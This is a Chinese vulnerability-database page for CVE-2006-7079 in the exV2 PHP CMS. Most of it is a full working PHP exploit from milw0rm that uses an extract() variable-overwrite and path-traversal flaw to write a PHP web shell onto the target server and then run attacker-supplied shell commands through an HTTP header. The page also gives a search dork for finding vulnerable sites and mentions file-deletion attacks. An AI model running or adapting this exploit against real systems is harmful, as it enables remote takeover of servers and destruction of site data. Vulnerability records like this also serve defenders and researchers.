EXV2 include/common.php 变量提取漏洞

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漏洞ID 1111113 漏洞类型 路径遍历
发布时间 2006-09-22 更新时间 2007-03-05
CVE编号 CVE-2006-7079 CNNVD-ID CNNVD-200703-008
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/2415
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-008
|漏洞详情
exV22.0.4.3及之前版本的include/common.php中存在变量提取漏洞。远程攻击者可以通过修改$xoopsOption['pagetype']变量,重写任意程序变量和执行目录遍历攻击以及执行任意代码。
|漏洞EXP
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
-------------------------------------------------------------------------------
exV2 <= 2.0.4.3 extract() remote commands execution exploit
mail: retrog@alice.it
site: http://retrogod.altervista.org
dork: "Powered by eXV2 Vers"
-------------------------------------------------------------------------------
');
/*
this works regardless of php.ini settings
two different exploit methods for register_globals=on or off
*/
if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to exv2
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /exv2/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / ls -la -p81
-----------------------------------------------------------------------------
');
die;
}

/*
  software site: http://www.exv2.de/modules/welcome/

  i) vulnerable code in include/common.php :

...
// ################# :: Register Globals Compatibility :: #################
	$globals_test = @ini_get('register_globals');
	if ( isset($globals_test) && empty($globals_test) ) {echo "merdaaaaaaaaaaaaaaaaaaaa\n";
	// These still need some work :: Cookie|Server|Env are ok now.
		if ( !empty($_GET) )  { extract($_GET, EXTR_SKIP);  }
		if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); }
		define('_GLOBALS', FALSE);
	} else {
		define('_GLOBALS', TRUE);
	}
...

if register_globals = off you can overwrite every var on target server
found this exploitation method:

some lines after this code we have:

...
// ################ Include page-specific lang file ################
// von Zeile 135 herunter gesetzt, da Userinfo usw. nicht in die language übernommen wurde
	if ( isset($xoopsOption['pagetype']) ) {
		if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) {
			include_once(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php');
		} else {
			include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php');
		}
	}
...

so we modify the $xoopsOption['pagetype'] var to reach the mail_template.php script in /include folder
where we have:

...
	$code=stripslashes(isset($code) ? $code : "");
	if(isset($op_action) && $op_action == "save" && $lang != "" && $script != ""){
		$code=str_replace("<","<",$code);
		$fp=fopen($mod_path."/language/".$lang."/mail_template/".$script, "w");
		fputs ($fp,$code);
		fclose($fp);
		header("Location:index.php?".$temp_op."=mail_template&script=".$script."&lang=".$lang."");
        exit();
	}
...

now we can save our shell code in a php file...

also, if register_globals = On you can call directly the mail_template.php script
to do the same stuff

through the extract() bug is also possibile to delete recursively all sites content
including the /modules/system/admin/design/include/conf_theme.php script
and to upload images without authorization in /images/library folder including
the image manager script and setting some vars

ii) an sql injection issue, poc:
http://retrogod.altervista.org/exv2_2043_sql.html

iii)
registered user can delete an arbitrary file on target server through
avatar upload features, because of a directory traversal in old_avatar
argument, passed to an unlink()

this is the poc for i)
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//register_globals=off, extract() tricks...
$data='-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="xoopsOption[pagetype]"

../../include/mail_template
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="op_action"

save
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="mod_path"

.
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="lang"

english
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="script"

../../../images/library/placeholder.php
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="code"

<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
-----------------------------7d626f251b00fa--
';
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(2);

//register_globals=on
$data='-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="op_action"

save
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="mod_path"

.
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="lang"

english
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="script"

../images/library/placeholder.php
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="code"

<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
-----------------------------7d626f251b00fa--
';
$packet ="POST ".$p."include/mail_template.php HTTP/1.0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(2);

$packet ="GET ".$p."images/library/placeholder.php HTTP/1.0\r\n";
$packet.="SUNTZU: $cmd\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
 $temp=explode("my_delim",$html);
 die($temp[1]);
}
echo "exploit failed...";
?>

# milw0rm.com [2006-09-22]
|参考资料

来源:XF
名称:exv2-commmon-command-execute(29116)
链接:http://xforce.iss.net/xforce/xfdb/29116
来源:BID
名称:20161
链接:http://www.securityfocus.com/bid/20161
来源:MILW0RM
名称:2415
链接:http://www.milw0rm.com/exploits/2415